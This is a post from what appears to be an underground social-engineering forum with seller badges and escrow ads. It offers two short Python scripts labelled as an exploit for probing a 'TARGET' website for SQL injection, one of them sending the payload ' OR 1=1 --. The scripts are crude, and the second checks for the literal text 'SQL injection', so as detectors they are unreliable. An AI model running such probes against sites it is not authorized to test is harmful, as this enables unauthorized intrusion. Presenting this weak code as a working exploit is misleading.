Welcome to the Off-Shore Club

The #1 Social Engineering Project in the world since 2004 !

💣Exploit Python script to test the SQL inj bug on the site

Gold

ROOT

SENSE!
Verified Seller
Instructor
USDT(TRC-20)
$0.0
#DORK :

Code:
import requests

url = "https://TARGET/about/news/index.jsp?page=2"

# Send a GET request to the URL
response = requests.get(url)

# Check the response status code
if response.status_code == 200:
    # Check for common SQL injection error messages
    if "SQL error" in response.text or "syntax error" in response.text:
        print("Potential SQL injection vulnerability detected!")
    else:
        print("No obvious SQL injection vulnerabilities found.")
else:
    print("Failed to connect to the URL.")


OR CODE

Code:
import requests
import sys

def sql_injection_test(url):
    # Test for SQL injection vulnerability
    test_payload = "' OR 1=1 --"
    test_url = url + "?id=" + test_payload
   
    try:
        response = requests.get(test_url)
        if "SQL injection" in response.text:
            print(f"The URL {url} is vulnerable to SQL injection!")
        else:
            print(f"The URL {url} does not appear to be vulnerable to SQL injection.")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python sql_injection_test.py <url>")
        sys.exit(1)

    url = sys.argv[1]
    sql_injection_test(url)
 
Last edited:

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Friendly Disclaimer We do not host or store any files on our website except thread messages, most likely your DMCA content is being hosted on a third-party website and you need to contact them. Representatives of this site ("service") are not responsible for any content created by users and for accounts. The materials presented express only the opinions of their authors.
🚨 Do not get Ripped Off ! ⚖️ Deal with approved sellers or use RTM Escrow on Telegram
Gold
Mitalk.lat official Off Shore Club Chat


Gold

Panel Title #1

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

Panel Title #2

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Top